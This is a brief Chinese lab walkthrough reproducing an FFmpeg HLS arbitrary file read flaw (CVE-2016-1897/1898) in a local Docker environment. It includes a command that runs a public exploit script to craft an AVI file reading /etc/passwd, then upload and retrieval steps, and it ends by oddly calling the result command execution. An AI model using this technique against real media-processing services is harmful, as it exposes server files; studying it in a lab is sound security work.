FFmpeg是一个完整的跨平台解决方案,用于记录、转换流式传输音频和视频,可用于预览生成和视频转换的视频编码软件。目前有非常多的视音频软件或是视频网站、手机APP都采用了这个库,但是这个库历史上曝出的漏洞也非常之多。
这个漏洞有两个CVE编号,分别是CVE-2016-1897和CVE-2016-1898,它们两个的区别在于读取文件的行数,CVE-2016-1897只能读取文件的第一行,而CVE-2016-1898可以读取文件任意行,原理基本一样。
HLS(HTTP Live Streaming)是Apple公司开发的一种基于HTTP协议的流媒体通信协议,大多数都应用在PC上和Iphone上。它的基本原理是把一个视频流分成很多个很小很小很小的ts流文件,然后通过HTTP下载,每次下载一点点。在一个开始一个新的流媒体会话时,客户端都会先下载一个m3u8(播放列表 Playlist)文件,里面包含了这次HLS会话的所有数据。
环境搭建
docker-compose up -d
漏洞复现
# 下载利用脚本https://github.com/neex/ffmpeg-avi-m3u-xbin/find/master
# 运行脚本,生成文件python3 gen_xbin_avi.py file:///etc/passwd 123.avi
上传123.avi文件
上传成功
使用迅雷下载下来
http://192.168.233.132:8080/5f227fc394150.mp4
使用迅雷默认播放器,命令执行成功